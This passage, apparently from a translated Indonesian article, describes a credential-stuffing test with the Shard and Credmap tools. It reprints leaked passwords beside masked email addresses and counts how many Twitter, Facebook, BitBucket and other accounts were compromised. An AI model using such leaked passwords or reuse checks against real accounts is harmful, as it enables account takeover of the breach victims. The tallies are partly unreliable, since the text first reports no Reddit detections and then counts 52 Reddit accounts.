BitBucket [+] *******@gmail.com:Battlefield710 - Twitter, BitBucket [+] *******@gmail.com:Supaman1 - Facebook [+] *******@hotmail.com:Bigdick*12 - BitBucket [+] *******@outlook.com:darkstar1 - BitBucket [+] *******@web.de:gt9800 - BitBucket [+] *******@yahoo.com:mvp123 - Twitter [+] *******@yahoo.com:arturi09 - BitBucket [+] *******@gmail.com:092486 - BitBucket [+] *******@hotmail.com:sappeps12345 - BitBucket [+] *******@yahoo.com:1morerep - Twitter, BitBucket [+] *******@cox.net:joiedevivre - BitBucket [+] *******@gmail.com:23vec4rPcC - BitBucket

Setelah menjalankan perintah Shard, total 219 akun Twitter, Facebook, BitBucket, dan Kijiji dilaporkan menggunakan nama pengguna yang sama persis yaitu kombinasi kata sandi. Menariknya tidak ada deteksi Reddit saat ini.

Hasil Shard menetapkan bahwa 166 akun BitBucket dikompromikan menggunakan serangan penggunaan ulang sandi ini yang tidak konsisten dengan deteksi BitBucket Credmap atas 111 akun. Baik Crepmap dan Shard belum diperbarui sejak 2016 dan saya menduga hasil kebanyakan BitBucket (jika tidak sepenuhnya) positif palsu. Ada kemungkinan BitBucket telah mengubah parameter login mereka sejak 2016 dan telah membuang kemampuan Credmap dan Shard untuk mendeteksi upaya login terverifikasi.

Hacker Termotivasi Dapat Meretas Lebih Banyak Kata Sandi

Secara total (menghilangkan data BitBucket), akun yang disusupi terdiri dari 61 dari Twitter, 52 dari Reddit, 17 dari Facebook, 29 dari Scribd, 23 dari Microsoft, dan beberapa dari Foursquare, Wunderlist, dan Kijiji. Sekitar 200 akun daring disusupi sebagai akibat dari pelanggaran data kecil pada tahun 2017.

Dan perlu diingat, baik Credmap maupun Shard memeriksa penggunaan kembali kata sandi terhadap Gmail, Netflix, iCloud, situs web perbankan atau situs web yang lebih kecil yang kemungkinan berisi informasi pribadi seperti BestBuy , Macy's, dan perusahaan penerbangan.